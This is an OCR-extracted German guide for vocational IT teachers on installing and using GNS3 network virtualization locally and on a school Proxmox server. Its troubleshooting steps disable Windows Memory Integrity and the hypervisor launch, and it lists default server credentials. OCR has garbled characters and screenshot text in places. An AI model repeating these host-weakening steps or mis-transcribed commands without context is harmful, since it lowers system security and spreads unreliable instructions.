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EINLEITUNG

Im berufsqualifizierenden Unterricht, z. B. fiir Fachinformatiker in der beruflichen
Erstausbildung oder fiir Technikerschiiler im Fachbereich Informatiktechnik, besteht der
Anspruch, praxisnahe und realistische Lernumgebungen zu schaffen. Netzwerk-
Virtualisierung bietet die Moglichkeit, Netzwerkszenarien herstellerneutral und ohne
physische Hardware umzusetzen.

Vorteile der Netzwerk-Virtualisierung mit GNS3

Der Einsatz von Virtualisierungssoftware reduziert Ristzeiten und erleichtert die
effiziente Nutzung der Unterrichtszeit. Die flexible Architektur der Software ermdoglicht
eine lernortunabhangige und flexible Verfligbarkeit. Lernende kdnnen sowohl im
Klassenzimmer als auch zu Hause U(iben. Dies bietet Zugang zu realistischen
Netzwerksituationen und férdert den Erwerb beruflicher Kompetenzen.

Ein besonderer Vorteil von GNS3 ist, dass die Software kostenlos bezogen werden kann.
Dadurch wird ihr Einsatz im Unterricht besonders zuganglich, ohne zusatzliche
finanzielle Belastung fiir Bildungseinrichtungen oder Lernende.

Je nach Anforderung an reale Prozesse und Verfligbarkeit der Virtualisierung-
Technologien kombiniert GNS3 Netzwerkkomponenten, die simuliert oder emuliert
werden. Dadurch kénnen auch komplexe Netzwerktopologien ressourcenschonend
betrieben werden. Dies ermoglicht berufliche Authentizitat und praxisnahe Szenarien,
die den Anforderungen in Berufen des ICT-Sektors gerecht werden.

Weitere Losungsansdtze und Werkzeuge

Neben GNS3 existieren weitere Tools zur Netzwerk-Virtualisierung, z.B.:

e CML (Cisco Modeling Labs) - Cisco Documentation (kostenlose Variante seit Dez. 24

verfligbar)

e EVE-NG (Emulated Virtual Environment Next Generation) - EVE-NG Dokumentation

e Packet Tracer - Cisco Packet Tracer

Einen guten Vergleich zwischen CML, Packet Tracer und GNS3 bieten die Video-Tutorials
von David Bombal.


https://www.netacad.com/resources/teaching-learning/ipd-cisco-modeling-labs-cml-netacad-video?courseLang=en-US
https://www.eve-ng.net/
https://www.netacad.com/resources/lab/cisco-packet-tracer-resources?courseLang=en-US
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Zielsetzung

Diese Ausarbeitung bietet Lehrkraften praxisorientierte Unterstiitzung bei der
Verwendung von GNS3 in der Unterrichtsgestaltung:

¢ Die Beitrage sind von praktizierenden Lehrkraften (Good-Practice) erstellt.

¢ Die Eignung der Unterrichtsbeitrage ist durch Unterrichtserprobung sichergestellt.

¢ Schrittweise Handlungsanweisungen unterstiitzen bei der Umsetzung.

e Eine Beteiligung zur Optimierung und Anreicherung der Beitrdge soll lber die
kollaborative Plattform GitHub moglich werden.
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ARCHITEKTUR UND FUNKTIONEN VON GNS3
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Desktop GUI: Die klassische Desktop-Anwendung dient als zentrale Benutzeroberflache,
Uber die Netzwerke erstellt, emuliert/simuliert und verwaltet werden kdénnen.

Web GUI: Eine browserbasierte Alternative, die vor allem bei der Nutzung eines
Remote-Servers (verteilte Installation) praktische Vorteile bietet, da sie unabhangig vom
Betriebssystem genutzt werden kann. Die Web GUI hat gegeniiber der Desktop GUI
aktuell noch einige Einschrankungen. Je nach unterrichtlicher Zielsetzung ist die Arbeit
mit der Web GUI bereits jetzt schon ein geeigneter Losungsansatz. Vermutlich
entwickelt sich GNS3 mit jedem Versionsupdate zu einer ausgefeilteren
browserbasierten Anwendung, was dem Betrieb in einer Schulnetzinfrastruktur
entgegenkommen wird.

Controller: Diese Komponente koordiniert die Kommunikation zwischen der GUI der
Clients und dem Server/den Servern. Der Controller steuert die Verteilung der Last und
stellt sicher, dass die verschiedenen Emulatoren korrekt eingebunden werden.

Remote Server: Ein dedizierter Server, der leistungsstarke Hardware fir komplexe
Simulationen bereitstellt (siehe auch Systemleistung eines GNS3-Servers). Der Remote
Server ermoglicht es, ressourcenintensive Prozesse (groRe Projekte oder viele parallele
Projekte) zentral auszufiihren und die Leistung auf den Client-Endgeraten zu entlasten.
Der Einsatz von mehreren Remote-Servern ist moglich, um z. B. Last zu verteilen. Einer
der Remote-Server Gibernimmt dann die Rolle des Controllers.

Lokaler Server: Diese Komponente wird auf dem Rechner des Nutzers installiert und
dient als Host fur die Projektentwicklung und kleine bis mittlere Netzwerktopologien
(siehe auch empfohlener Losungsansatz fiir Unterrichtsvorbereitung). Der lokale Server
bietet eine einfache Moglichkeit, Netzwerke ohne zusatzliche Infrastruktur zu betreiben.
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Aufgabe von Emulatoren

Emulatoren in GNS3 sind entscheidend, um die Funktionalitat realer Netzwerkgerate in

einer virtuellen Umgebung nachzubilden. Sie erméglichen es, Netzwerkkomponenten

wie Router, Switches oder Firewalls realitdtsnah zu emulieren. Zu den haufig

verwendeten Emulatoren gehoren z.B.:

Dynamips (veraltet und proprietar): Simuliert Cisco 10S fir Router und Switches.
QEMU: Ermoglicht die Emulation verschiedener Betriebssysteme und Gerite, z.
B. Firewalls oder Linux-Server.

IOU: IOU (I0S on Unix) Cisco 10S-Software wird auf Unix-basierten Systemen
emuliert

Docker: Fir Container-basierte Anwendungen, die in Netzwerksimulationen
eingebunden werden kdénnen.
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GEWAHLTER LOSUNGSANSATZ FUR UNTERRICHT

Ausgehend vom klassischen Tatigkeitsumfeld einer Lehrkraft in der Unterrichtsvor- und
Nachbereitung - von zu Hause und Unterrichtsdurchfiihrung in der Schule nutzen wir die
Flexibilitat der GNS3-Architektur fir zwei Bereitstellungsldsungen, die wir im Folgenden
vorstellen wollen. Diese Loésungsansadtze ist auch fur die Durchfihrung von Unterricht in
Distanz geeignet.

Szenario - Vor- und Nachbereitung des Unterrichts
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Szenario - Durchfiihrung des Unterrichts
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LOKALE INSTALLATION

Flr die Unterrichtsvor- und Nachbereitung der Lehrkraft von zu Hause nutzen wir die
Installationsmoglichkeit, dass der GNS3-Client und -Server auf einem Rechner installiert

wird.

_____________________________________________________ .
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Client/Server

Zwei Installationen sind erforderlich:

GNS3-Client Installation (am Beispiel Windows)

Die Installation des GNS3-Clients ist mit geringem Aufwand verbunden. Daher hier nur
die Beschreibung der groben Schritte:

1. Download der .exe-Datei (GNS3-xx.xx.xx-all-in-one-dach.exe) von der gns3-
Website (eine Registrierung ist erforderlich).

2. Anweisungen des Installationsassistenten folgen und Standardeinstellungen
belassen (Empfehlung).

a. Solar-Putty wird mitinstalliert. Eine  Zustimmung zu den
Lizenzbestimmungen wird im Installationsvorgang eingefordert.

b. Wahrend der Installation wird ebenfalls der Download des ,Solarwinds
Standard Toolsets angeboten”. Fiir die angestrebte Funktion nicht
zwingend erforderlich. Kann daher abgelehnt werden.

3. Nach Abschluss der Installation wird die ,Thank-You“ Webseite angezeigt, die
Sie schlieflen kdonnen.
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Wir GNS3 gestartet, kdnnen Sie den angebotenen Setup Wizard abbrechen.
5. GUI des Clients nach erfolgreicher Installation und erfolgreichem Start. Im Feld
»Servers Summery” wird der erfolgreiche Start des Clients angezeigt.

€ wa

we OB > N = b d

Tepelngy fumrmary

@
(==
o
)

Es kann etwas dauern, bis dieser Indikator angezeigt wird.

e Wird dieser Indikator nicht angezeigt hilft ein Neustart der Anwendung
oder gar ein Neustart des Rechners.

e Weitere Hinderungsgriinde (bisher nicht festgestellt) fir den
erfolgreichen Start des Clients seien die lokale Firewall oder
Antivirensoftware. In diesem Fall missten Ausnahmen fir GNS3
konfiguriert werden

Ab jetzt konnen Sie bereits Projekte anlegen. Fir die Gestaltung der Projekte stehen
Ihnen ein paar wenige Gerate und Komponenten zur Verfligung. Die verfligbaren Gerate
(verschiedene Switche, ein Hub und ein PC) sind einfache Simulationen.

& GNs3
Eile Edit View Control MNode Annctate Tools Help
1 BE - e F_Y = w777 -~~~
e OF > C P
All devices [=]ES]
o T
ATM switch
Cloud
Ethernet hub

Ethernet switch

Frame Relay switch
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Wie Sie lhre ersten Projekte anlegen, wird lhnen in den Anleitungen zur ,Ersten
Inbetriebnahme” gezeigt.

Hier kann ein erstes , Hello World“-Projekt durchgefiihrt werden, das gleichzeitig einen
kurzen Uberblick Giber die Benutzeroberfliche bietet:

https://docs.gns3.com/docs/getting-started/your-first-gns3-topology

Fiir den vollen Leistungsumfang ist nun noch die Installation des GNS3-Servers
erforderlich. Dieser soll bei der Variante der lokalen Installation als virtuelle Maschine
zur Verfligung stehen.

In der Vorausschau hier schon einmal der Erfolgsindikatoren im Feld der Servers
Summary.

AEONHQ el

T

v,
¢

,
- I

)
A
4

Topology Summery
Node Console

Please create 3 project Servers Summary

— @ GNS3 VM (GNS3 VM) CPU 0.3%, RAM 3.8%
et > © CPU 34%, RAM 33.1%



https://docs.gns3.com/docs/getting-started/your-first-gns3-topology
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GNS3-Server Installation im Hypervisor Il -Allgemein

Herausforderung

Diese Installation unter Windows ist wegen der empfohlenen VMWare Workstation
aufwendiger und birgt Hiirden.

Insbesondere haben dies die Versuche unter Windows 11 gezeigt. Standard-
Sicherheitsmechanismen in Windows 11 stellen sich bei der Installation in den Weg.
In dieser Installationslosung werden die Emulatoren der GNS3-Projekte (Topologien)
auf dem lokalen GNS3-Server betrieben. Der lokale GNS3-Server ist ebenfalls eine
virtuelle Maschine, die mit dem empfohlenen Hypervisor VMWare-Workstation
betrieben wird. Die verschachtelte (nested) Virtualisierung muss daher moglich sein.

Diese Funktion muss unter den Einstellungen der Virtuellen Maschine flir den GNS3-
Server aktiviert sein. Ansonsten ist die verschachtelte Virtualisierung und damit die
lokale Installationslésung unter Windows nicht maoglich.

Virtual Machine Settings X
Hardware Options

Device Summary Processors

| Memory 27.1 GB Number of processor cores:

I ocessos s |
£ Hard Disk (SCST) 64 GB Virtualization engine
CD/DVD (IDE) Using file C:\Michael\Installatio... Virtualize Tntel VT-x/EPT or AMD-V/RVI |l me—
20 Network Adapter Bridged (Automatic)
) Network Adapter 2 NAT
[_IDisplay 1 monitor

Losung

Im Folgenden erhalten Sie daher detaillierte Hinweise zur Installation des lokalen GNS3-
Servers.

Bitte beachten Sie grundsatzlich:
e Die Versionen beider Installationen (Client und Server) missen ibereinstimmen.

Die Anleitungen fiir die Wartung bzw. das Aktualisieren des Clients und des Servers
finden Sie unter ,Anleitung — Update Client und Server”.
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Systemanforderungen

In Abhdngigkeit des Projektumfangs (Anzahl der Knoten) und der eingesetzten
Technologien (QEMU, Dynamips, Docker, ...) der Emulatoren ist bei der lokalen
Installation auf eine ausreichende Systemleistung des Rechners zu achten.
Empfehlungen flir eine angemessene Systemleistung:

Systemanforderungen fiir lokale Installation

Minimum Empfohlen Optimal
Betriebssystem Ab Windows 7 (64 bit)/ab Mavericks 10.9/jede Linux Distribution

Prozessoren >=2 >=4 >= 8 Logical cores
AMD-V RVI Series Core i7 oder i9 Intel CPU
oder
Intel VT-X / EPT R7 oder R9 AMD CPU

AMD-V / RVI Series oder Intel

VT-X / EPT
Virtuaﬁsierung Virtualisierung erforderlich
Moglicherweise mussen Sie dies tiber das BIOS lhres Computers aktivieren.
RAM >= 4GB RAM >=16 GB RAM >=32 GB RAM
HDD 1 GB verfligbar SDD, 35 GB verflgbar SSD 80 GB verflgbar

Weitere Hinweise Je mehr umso besser

GNS3-Server Installation im Hypervisor Il -Details

Download der . ova-Datei

1. Der Bezug der GNS3-VM (Punkt 2 im Screenshot)
(https://www.gns3.com/software/download-vm)

6 Software Documentation Community Marketplace Academy

Download GNS3

WIndows Install Guide

Install Guide

Install Guide

download the GNS3 VM


https://www.gns3.com/software/download-vm
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2. Wahl der VM fiir VMWare

Download GNS3 VM

VirtualBox Download

)

VMware Workstation and Fusion Download

)

VMware ESXi Download

X

Microsoft Hyper-V Download

Learn more about the GNS3 VM

3. Die bezogene .ova-Datei mit VMWare Workstation Pro (kostenlos) 6ffnen bzw.
importieren.

4. Die ersten Schritte unter folgendem Link zeigen, wie man die Virtuelle Maschine
(GNS3 VM.ova) importieren kann.
https://docs.gns3.com/docs/getting-started/setup-wizard-gns3-vm

[ VMware Workstation
File Edit View VM Tabs Help

Library x

[2 Tocheer. ~]

My Computer

= QMy Computer

GNS3

Einstellungen der virtuellen Maschine werden im GNS3-Client vorgenommen,
nicht in VMWare-Workstation.

Unterbrechung des reibungslosen Installationsvorgangs

In der Regel wird die neu erstellte Virtuelle Maschine, wenn man sie startet,
aufgrund einer Fehlermeldung, die auf Probleme mit der Virtualisierung unter
Windows hinweist, nicht starten (siehe auch Herausforderung)


https://docs.gns3.com/docs/getting-started/setup-wizard-gns3-vm
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Problembehandlung

Folgende Schritte kann/muss man ausfiihren, um das Problem zu beheben. Der
wichtigste Schritt ist das Ausschalten der Speicher-Integritat.

Memory Integrity deaktivieren (Kernisolierung)

1. Offne die Windows-Sicherheits-App:
a. Windows-Einstellungen zu 6ffnen z. B mit Tastenkombination
Windows+i.
b. Gehe zu Datenschutz & Sicherheit > Windows-Sicherheit >
Geratesicherheit > Kernisolierung > Details zu Kernisolierung.
c. Deaktiviere Speicherintegritat.
d. Starte den Computer neu.

& Kernisolierung

Auf lhrem Gerét verfiigbare Sicherheitsfunktionen, die die

A Stariseite virtualisierungsbasierte Sicherheit nutzen.

Viren- und Bedrohungsschutz Speicher-Integritat

ngriffe e in Hochsicherheitsprozesse
S, Kontoschutz 9

Firewall und Netzwerkschutz A ie Speicherintegritét ist deaktiviert. Ihr Gerat ist
méglicherweise gefahrdet.
App- und Browsersteuerung

Gerdtesicherheit

7 Gerételeistung und -integritét

& Familienoptionen Speicherzugriffsschutz
ltzt den Speicher Ihres Geréts vor A
Schutzverlauf

Credential Guard deaktivieren

2. Deaktivierung iber die BCDEDIT-Befehle:
a. Offne die Windows Eingabeaufforderung CMD als Administrator
b. Fihre folgenden Befehl in der CMD aus:
bcdedit /set hypervisorlaunchtype off

Virtualisierung im UEFI (BIOS) aktivieren

3. BIOS/UEFI 6ffnen:
a. Starte deinen Computer neu und driicke wahrend des Bootvorgangs die
entsprechende Taste (oft F2, DEL, ESC, oder F10, je nach Hersteller).
b. Virtualisierungsoption suchen und aktivieren:
- Im BIOS/UEFI-Men finde die Option fiir Virtualisierung. Sie
kann verschiedene Namen haben, je nach Hersteller:
- Intel VT-x oder Intel Virtualization Technology (bei Intel-
Prozessoren).
- AMD-V (bei AMD-Prozessoren).
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- Manchmal befindet sich diese Option unter Advanced, CPU
Configuration oder dhnlichen Meniis.

- Andere die Einstellung auf Enabled und speichere die
Anderungen (F10 und Enter).

Wenn man diese Schritte ausgefiihrt hat, sollte GNS3 mit lokaler GNS3 VM (in VMWare)
funktionieren.

Erste Schritte nach der Installation

1. Starte die GNS3-GUI ohne VMWare-Workstation zu starten. Unter ,Servers
Summary“ sollte zum aktuellen Zeitpunkt nur eine ,Instanz” (die

Clientinstallation) mit einem griinen Punkt angezeigt werden.

—

OO D ;

Jl 5%

2. Konfigurieren Sie nun den GNS3-Server.
Unter Edit 2 Preferences = GNS3 VM = Enable the GNS3 VM auswahlen und
mit OK bestatigen.
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e
mr—— Canno load the GNS3 VM settings in
a_c| . - ’ the prefer .
B> OF > C Pmlos Qa0 | e
Topolagy Summar Cannot load the 10U license in the 1%/
@ Node preferences dislog: not connected to
T renrater
@ Preferences 7 x
mp General GNS3 VM preferences ]
- Server
- Gs3vm a1 of—
Packet capture WVirtualization engine
- Built-in
Ethernet hubs e
Ethernet switches  Cescrston
Cloud nodes -
- VPCS =
e VPCS nodes ep— <] aen
~ Dynamips )
Zo 105 routers i
~ 105 on UNIX Run the VM in headless mode
? 10U Devices Alocate vCPUs and RAM
~ QEMU .
Qemu VMs g
- VirtualBox e
VirtualBox VMs Action when dosing GNS3:
~ VMware keep the GNS3 WM running
VMware VMs
- Docker suspend the GHS3 M
Docker containers ‘stop the GNS3 VM
Console =
G52 mamagement
Run erson
oK Cancel
145311 senGE 1 e aererences aog: ot oM e conorer
0L licenge in the preferences diskog: not connected to the controller
A2ems

Im Hintergrund wird die GNS3-VM automatisch unter VMware gestartet. Dies
wird im Fenster ,,Server Summary“ auf der rechten Seite angezeigt.

Servers Summary =) ()

£ GNS3 WM (GNS3) CPU 0.0%, RAM 11.5%
cJ CPU 0.4%, RAM 60.5%

Die gestartete virtuelle Maschine zeigt ein blaues Fenster mit Text und einer
Schaltflache <OK>. Die Virtuelle Maschine sollte unberiihrt im Hintergrund
laufen.



GNS3 - VMware Workstation

File Edit View VM

Library

= My Computer
GNS3

Tabs Help

Iy

GNS3 server wersion: 2.2.52
Release chanmel: 2.2

VM version: 0.16.0

Ubuntu version: focal

Qemu version: 4.2.1
virtualization: vmuare

KM support availahle: True
Uptime: up 0 minutes

IP: 192.168.78.128 PORT: 80

To log in using SSH: ssh 2ns3@192.168.78.128

Password: gnsa

To launch the Web-Ui: http://1592.168.78.126

Images and projects are stored in 'soptsgns3’

To direct input to this VM, click inside or press Cirl+G.
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3. Alle notwendigen Einstellungen fir RAM und Anzahl der Kerne werden
ausschlieBlich in der GNS3-Desktop-App, also im Client vorgenommen. Der
GNS3-Client steuert die Einstellungen in VMWare-Workstation per API-Zugriff.

Verandern Sie die Einstellungen an dieser Stelle und bestatigen diese, dann wird

die virtuelle Maschine automatisch neu gestartet.

worden sein. Siehe rote Kasten:

& Preferences

General
Server

Packet capture
~ Built-in
Ethernet hubs
Ethernet switches
Cloud nodes
~ VPCS
VPCS nodes
~ Dynamips
10S routers
- 10S on UNIX
10U Devices
~ QEMU
Qemu VMs
~ VirtualBox
VirtualBox VMs
- VMware
VMware VMs
- Docker
Docker containers

[GNS3 VM preferences

/| Enable the GNS3 VM

Virtualization engine

lvnware Workstation { Player (recommended) !
friare 15 Te recommended cROICE Tor DEst performances.

The GN53 WM can be downloaded here.

Settings

VM name: | GNS3

Port: 30
Run the VM in headless mode
| Allocate vCPUS and RAM
vePus: |2
RAM: 4608 ME'
Action when closing GNS3:
keep the GNS3 VM running
suspend the GNS3 VM

@) stop the GNS3 VM

Cancel

Refresh

| [

Apply

Wenn man das Fenster ,Preferences” wieder offnet, sollte die GNS3 VM erkannt
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Die Einstellungen fiir die Anzahl an Kernen und GréRe des RAM richteten sich nach der
Anzahl eingesetzter Emulatoren und deren Bedarfe. Beginnen Sie mit den abgebildeten
Einstellungen fiir lhre ersten Gehversuche. Je nach Rechnerleistung kénnen Sie die

Werte erh6hen.
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VERTEILTE INSTALLATION

Fir die klassische Unterrichtsdurchfiihrung im Rahmen der Schulnetzinfrastruktur und
gef. auch im Distanzunterricht bietet sich eine verteilte Installation an.

o= ——————— 1 e e e e s ——— 1
i 11 I
: Client-Funktionen : : Server-Funktionen :
i 11 :
: : : { = Emulator 1
: b I I
i GNS3 GUI 1 1 1
i -1 - L I I
1 1 | |
1 I I 1 I
: : : Controller | = - Server 7 Emulator :
1 11 I I
i -4+ - I
: GNS3 WEB (. I !

| | I |
] o ! !
I 1 - =1 Emulator I
i 11 I
i 11 I
L L

I I Netzwerkinfrastruktur o
Client

f— Server

L

e |okale GNS3-Client (GNS3 GUI) Installation, vgl. lokale Installation

e zentrale GNS3-Server-Installation auf einem leistungsfahigen Rechner in der
Schulnetzinfrastruktur bzw. im LAN der Schule.

o Virtuelle Maschine in einem Hypervisor | (z. B. Proxmox).
o Betriebssystem der virtuellen Maschine Ubuntu 18.04 LTS auf dem der
GNS3-Server installiert wird.

e Vorteile des gewahlten Losungsansatzes:

o Der Installationsaufwand auf der Seite der Nutzer (Lernende und
Lehrkrafte) beschrankt sich auf die GNS3-Client-Installation.

o Je nach Zielsetzung ist auch der Zugriff (iber den Browser ausreichend.

o Die erforderliche Systemleistung kann zentralisiert werden.

e Die auszulegende Systemleistung des Remote-Servers wird im Wesentlichen
durch die parallel betriebenen GNS3-Projekte bestimmt. Die GroRRe (Anzahl der
emulierten Netzwerkkomponenten und deren bendétigte Systemressourcen)
spielt in dieser Infrastruktur ein weitere aber sekundare Rolle.
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Gesammelte Erfahrungen - veranderter Konfig. im Proxmox

Erforderliche Systemleistung auf dem Remote-Server - Erfahrung

Szenario 6 parallel betriebene Projekte mit je 6 Knoten
Verwendete Knoten/Projekt:

* 3 Router (gemu, je 512MB RAM)

* 1 Switch (qemu, 768 MB RAM)

* 1 Endgerat (qemu, 256 MB RAM)
* 1Endgerat (qemu, 1024 MB RAM)

1. Testlauf Memory 32 GByte CPU-Last 70-100 %
Processors 8x
HDD 80 GByte Memory-Last 60-80%
2. Testlauf Memory 64 GByte CPU-Last < 50%
Processors 32x
HDD 150 GByte Memory-Last < 50%

Faustregel fur Anzahl der bendtigten CPU-Kerne: 1 Kern/Appliance

Monitoring im Testlauf 2

CPU usage
40 4
35 -

2024-12-20  2024-12-20  2024-12-20  2024-12-20  2024-12-20  2024-12-20  2024-12-20  2024-12-2(
07:51:00 07:56:00 08:01:00 08:06:00 08:11:00 08:16:00 08:21:00 08:26:00

Memory usage
64 Gi- ®

56 Gi |
48 Gi
40Gi-

1]

£326Gi

m
24 Gi
16 Gi |

0 T T T T T

2024-12-20  2024-12-20  2024-12-20  2024-12-20  2024-12-20 2024-12-20  2024-12-20  2024-12-Z
07:51:00 07:56:00 08:01:00 08:06:00 08:11:00 08:16:00 08:21:00 08:26:0C

Der Anstieg bis ca. 40% der CPU-Last ist auf das Starten (Hochfahren) der 6 Projekte
zurtickzufihren.
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e je nach Zugriffsmoglichkeiten, auch von extern auf dem GNS3-Server im internen
Schulnetz kann auch der Distanzunterricht mit diesem Losungsansatz umgesetzt
werden. Ist das keine Option, kdnnte der zentrale Server auch in der Cloud
betrieben werden. Dieser Ansatz wird hier nicht verfolgt.

Bitte grundsatzlich beachten:

Die Versionen von Client und Server missen Ubereinstimmen. (Anleitung — Wartung)

Da sich unter Umstanden der GNS3-Client in verschiedenen Umgebungen mit jeweils
anderem GNS3-Server verbindet, macht es Sinn auf dem GNS3-Client Profile
einzurichten, die mit dem Start des Clients gewahlt werden kénnen, je nachdem in
welcher Umgebung man mit GNS3 arbeiten mdchte. Im Kontext Schule macht es daher
Sinn die erforderlichen Verbindungsparameter (IP, Port, Username und Passwort) und
eine auszugeben. (Anleitung - Profileinrichtung)

Zusatzlicher Hinweis:

In der Architektur der verteilten Installation kdnnten die Emulatoren einer
Topologie/eines GNS3-Projekts auch auf mehreren Remote-Server verteilt sein. Der
Controller ibernimmt in diesem Szenario die Funktion, in einer Topologie verteilte
emulierte Netzwerkkomponenten zu einem Projekt zusammenzufihren.

GNS3-Client Installation (am Beispiel Windows)

Ist der GNS3-Client auf dem Arbeitsrechner schon installiert, konnen Sie mit der
Installation des Remote Servers fortsetzen.

Anleitung fiir die GNS3 Client-Installation

GNS3-Remote-Server Installation (am Bsp. Ubuntu VM auf Proxmox)

Eine Installationsanleitung mit der Hilfe eines aktuellen Installationsskripts finden Sie in
der GNS3-Dokumentation der GNS3 Site.

Installation des Remote-Servers

Die Dokumentation verweist auf das Repository github ( https://github.com/GNS3 ).

Hier finden Sie das Skript ,remote-install.sh” und weitere Hinweise z. B. zur
Versionierung von GNS3.

Hier gehen wir auf wenige Feinheiten ein, die bei dieser Installation aufgefallen sind.


https://docs.gns3.com/docs/getting-started/installation/remote-server/
https://github.com/GNS3
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e Dawirden GNS3 Remote Server im LAN betreiben, haben wir keinen VPN-Zugriff
konfiguriert. Den Schalter --with-openvpn im curl-Befehl haben wir nicht genutzt.

e Nach der Installation mit Hilfe des Installationsskripts muss die gns3_server.conf
angepasst werden, falls beim restart des Servers (systemct!/ stop gns3 und
systemctl start gns3) folgende Herausforderung besteht:

Herausforderung:

/var/log/gns3 yyyy-mm-tt hh:mm:ss CRITICAL web_server.py:88 Could not start the
server: [Errno 99] error while, attempting to bind on address ('172.16.253.1', 3080):
cannot assign requested address

o Ziel ist es die IP-Adresse des GNS3-Servers der tatsachlich genutzten IP der
Schnittstelle ins lokale Netz anzupassen.
e Die gns3_server.conf befindet sich im Verzeichnis /etc/gns3/

Anpassung

e gns3_server.conf z. B. mit dem Editor nano bearbeiten
o Befehl: nano gns3_server.conf
Inhalt der Server-Config korrigieren

[Server]

#host = 172.16.253.1 (nichtzutreffende IP auskommentieren)
#(tatsdchliche IP der Schnittstelle der VM ins lokale Netz eintragen)
host = x.x.x.x

port= 3080

Anderungen speichern und nano verlassen

Neustart des Dienstes

o systemctl stop gns3
o systemctl start gns3
Uberpriifung, ob Dienst gns3 l4uft z. B.:

netstat -tunlp
.. tep 0 Oxxxx:8081 0.0.0.0:* LISTEN  1669/python3
.. tep 0 O0x.xx.x:3080 0.0.0.0:* LISTEN -
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oder

systmctl status gns3
® gns3.service - GNS3 server
Loaded: loaded (/usr/lib/systemd/system/gns3.service; enabled; preset: enabled)

Active: active (running) since Thu 2025-01-23 09:46:38 CET; 43min ago

e st die Installation und Konfiguration abgeschlossen kann sich der GNS-Client mit
dem Remote-Server verbinden. Die relevanten Parameter (IP, Port, User und
Password, definiert in gns3_server.conf, Standard username: gns3,
Standardpasswort: gns3) der gns3_server.conf sind die Verbindungsparameter
fir den Client.

@ Preferences

General | Server preferences
Server
GNS3 VM Main server | Remote servers
Packet capture
~ Built-in
Ethernet hubs Remote main server
Ethernet switches

Cloud nodes
~ VPCS Host: 10.36.104.55

Enable local server

Protocol: | HTTP

VPCS nodes Port: | 3080 TCP
~ Dynamips
10S routers
= 10S on UNIX User: -
10U Devices Password: eses
~ QEMU
Qemu VMs
~ VirtualBox
VirtualBox VMs
~ VMware
VMware VMs
~ Docker
Docker containers

Auth: v

Das Standard-Authentifizierungs-Parameter (username und password) kdnnen Sie in der
gns3_server.conf anpassen/andern.

auth = True
user = bob

password = alice
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zusdatzliche Hinweise zum Proxmox

Besonderheiten bei den Einstellungen in der Virtuellen Maschine

o Hardware > Processors > Type: host

o Options >
=  KVM hardware virtualization: Yes
= QEMU Guest Agent: Enabled
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NUTZUNGSIDEEN IM UNTERRICHTSPROZESS

Unterrichtsvorbereitung

¢ Die Unterrichtsvorbereitung kann mit der lokalen Installation von Client und
Server unabh. von zentralen Servern stattfinden.

e Die fir Schiler vorbereiteten Lernaktivitditen und GNS3-Projekte konnen in der
Schulumgebung (verteilte Installation) auf dem Remote-Server vervielfaltigt
(Anleitung) und so fir z. B. eine arbeitsgleiche Lernaktivitdat mehreren Schiilern
oder Gruppen bereitgestellt werden.

e Im Sinne der inneren Differenzierung konnen die Lernaktivititen in
unterschiedlichen Vorfertigungsgraden bereitgestellt werden.
e Ein angelegtes Profil (Anleitung zur Profileinrichtung) kann den Wechsel

zwischen der Umgebung am Heimarbeitsplatz und der Umgebung im Schulnetz
beschleunigen.

¢ Die gewiinschten Appliances (emulierte Netzwerkkomponenten) werden in der
Umgebung bereitgestellt, die ausschlieRlich der Lehrkraft zur Verfligung steht.
Mit der Vielzahl der Appliances aus dem Marketplace gehen auch eine Vielzahl
von Nutzungsbedingungen einher. Uberlegungen hinsichtlich der erweiterten
Nutzung mit Lernenden im Rahmen des Unterrichts spielen hier noch eine
untergeordnete Rolle missen jedoch bei der Entwicklung der Projekte
mitgedacht werden, wenn diese fiir Lernende bereitgestellt werden.

o Hinweis: Bereits bei der Unterrichtsvorbereitung und der Entwicklung
von GNS3-Projekten ist die erweiterte Nutzung im schulischen Kontext zu
beriicksichtigen. Im Falle der Verwendung kommerzieller Software sind
die Nutzungsbedingungen fir den schulischen Verwendungszweck im
Rahmen von Unterricht vor dem Einsatz zu klaren. Im Zweifelsfall ist die
Nutzung von Appliances zu empfehlen, die in die Kategorie Public-
Domain-Software oder Shareware fallen.

¢ Wenn ein erstelltes GNS3-Projekt fiir die Unterrichtsdurchfiihrung in der lokalen
Installation fertiggestellt wurde und es fiir die verteilte Installation in der

Schulinfrastruktur bereitgestellt werden soll, nutzt man die Funktion
«Export/Import portable project”.
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Unterrichtsdurchfiithrung

die Lernaktivitaten bzw. GNS3-Projekte werden in der verteilten Installation der

Schulnetzinfrastruktur auf dem Remote Server bereitgestellt
die GNS3-Projekte konnen auf dem Remote-Server vervielfdltist und fir

arbeitsgleiche oder differenzierte Lernaktivitaten bereitgestellt werden.

in den Projekten kann kollaborativ gearbeitet werden. Entweder weil z. B. die
Lernaktivitat arbeitsteilig bewaltigt wird oder weil z. B. unterstitzend und
anleitend eingegriffen wird. Technisch bedeutet dies, die Aktivitaten auf der GUI
sind auf den Endgeraten synchronisiert, die Konsolenfenster bleiben - weil diese
lokal ausgefiihrt werden — individuell sichtbar.

Durch den zentralen Zugriff auf die Projekte wird das Teilen z. B. fir
Prasentationszwecke erleichtert.

Da GNS3 aktuell Giber kein Rollen- und Rechtekonzept verfiigt, haben - in der
Variante der zentralen Installation - alle Nutzer (Schiler und Lehrer) die gleichen
Zugriffsrechte auf die zentral bereitgestellten Projekte und Funktionen auf dem
Remote-Server. Einzige Hiirde im Zugriff auf den Remote-Server sind die
Verbindungsparameter (IP, Port, Username, Password). Im Kontext Schule
empfiehlt sich daher Regeln der Nutzung zu formulieren und diese verbindlich
einzufiuhren und einzufordern.

Nach Abschluss der Lernaktivitditen kdnnen die bearbeiteten GNS3-Projekte
einzeln durch die Funktion ,Export/Import portable project” gesichert und

eingesammelt werden. Die Sicherung als portables Projekt oder die Snapshot-
Funktion unterstiitzen die Zustandssicherung des Projekts.

Unterrichtsnachbereitung

die Unterrichtsnachbereitung kann am heimischen Arbeitsplatz in der lokalen
Installation durchgefiihrt. Im Format des gesicherten portablen Projekts kann
diese mit der Importfunktion auf dem lokalen GNS3-Server wiederhergestellt

werden.
die Unterrichtsnachbereitung kénnte ebenso in der verteilten Installation auf

dem Remote-Server erfolgen, sofern von extern ein Fernzugriff (z. B. mit einem
VPN) auf den GNS3-Server in der Schulnetzinfrastruktur moglich ist.
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ANLEITUNGEN — WARTUNG

Wie bereits erwahnt missen die Versionen von Client und Server Gibereinstimmen. Die

Version verandert sich regelmaRig und in zeitlich kurzen Abstanden (Erfahrungswerte
2024).

Update des GNS3-Clients

Das Update des GNS3-Clients erfolgt einfach durch eine Neuinstallation. (siehe GNS3-
Client-Installation)

Innerhalb der GNS3-Client-GUI ist bisher nur eine Uberpriifung der Version moglich.

Help

CFmIIo.,8QQ

